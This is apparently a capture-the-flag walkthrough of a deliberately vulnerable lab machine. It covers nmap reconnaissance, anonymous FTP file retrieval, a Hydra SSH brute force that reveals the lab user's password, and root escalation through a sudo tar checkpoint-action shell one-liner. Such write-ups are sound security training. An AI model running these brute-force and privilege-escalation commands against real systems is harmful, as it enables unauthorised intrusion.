$ nmap -sC -sV 10.10.174.175
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-06 15:26 IST
Nmap scan report for 10.10.174.175
Host is up (0.16s latency).
Not shown: 967 filtered tcp ports (no-response), 30 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.17.48.138
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
| 256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
|_ 256 a4:1a:15:a5:d4:b1:cf:8f:16:50:3a:7d:d0:d8:13:c2 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 54.60 seconds
There are three open ports:
No answer needed
Who wrote the task list?
Let's got search the IP address using our browser.
There's nothing of importance here.
Let's login through FTP anonymously.
$ ftp anonymous@10.10.245.97
Connected to 10.10.245.97.
220 (vsFTPd 3.0.3)
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
Let's look at the contents of the directory
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-rw-r-- 1 ftp ftp 418 Jun 07 2020 locks.txt
-rw-rw-r-- 1 ftp ftp 68 Jun 07 2020 task.txt
226 Directory send OK.
We can download these files to our machine using the get command.
ftp> get locks.txt
local: locks.txt remote: locks.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for locks.txt (418 bytes).
100% |***********************************************************************************************************************************************************************************************| 418 13.18 KiB/s 00:00 ETA
226 Transfer complete.
418 bytes received in 00:00 (2.17 KiB/s)
ftp> get task.txt
local: task.txt remote: task.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for task.txt (68 bytes).
100% |***********************************************************************************************************************************************************************************************| 68 328.74 KiB/s 00:00 ETA
226 Transfer complete.
68 bytes received in 00:00 (0.37 KiB/s)
Let's read the task.txt file.
$ cat task.txt
1.) Protect Vicious.
2.) Plan for Red Eye pickup on the moon.
-lin
Answer
lin
What service can you bruteforce with the text file found?
Since we saw that FTP, SSH and HTTP were the services running on the machine it is safe to saw that we can brute force SSH.
$ hydra -l lin -P locks.txt 10.10.245.97 ssh
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-12-06 16:48:07
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 26 login tries (l:1/p:26), ~2 tries per task
[DATA] attacking ssh://10.10.245.97:22/
[22][ssh] host: 10.10.245.97 login: lin password: RedDr4gonSynd1cat3
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-12-06 16:48:12
So the password for the lin user is RedDr4gonSynd1cat3.
Answer
RedDr4gonSynd1cat3
user.txt
Let's login using the credentials we have.
$ ssh lin@10.10.245.97
The authenticity of host '10.10.245.97 (10.10.245.97)' can't be established.
ED25519 key fingerprint is SHA256:Y140oz+ukdhfyG8/c5KvqKdvm+Kl+gLSvokSys7SgPU.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.245.97' (ED25519) to the list of known hosts.
lin@10.10.245.97's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
83 packages can be updated.
0 updates are security updates.
Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
lin@bountyhacker:~/Desktop$
After lookin around we can see a user.txt file. Let's cat that file.
We can list out the sudo commands that the lin user is able to run using the following command:
lin@bountyhacker:~/Desktop$ sudo -l
[sudo] password for lin:
Matching Defaults entries for lin on bountyhacker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User lin may run the following commands on bountyhacker:
(root) /bin/tar
We can now use GTFOBins to escalate our privilege.
We will use the Sudo exploit.
lin@bountyhacker:~/Desktop$ sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
tar: Removing leading `/' from member names
#
We now have root privilege and can cat the root.txt file.
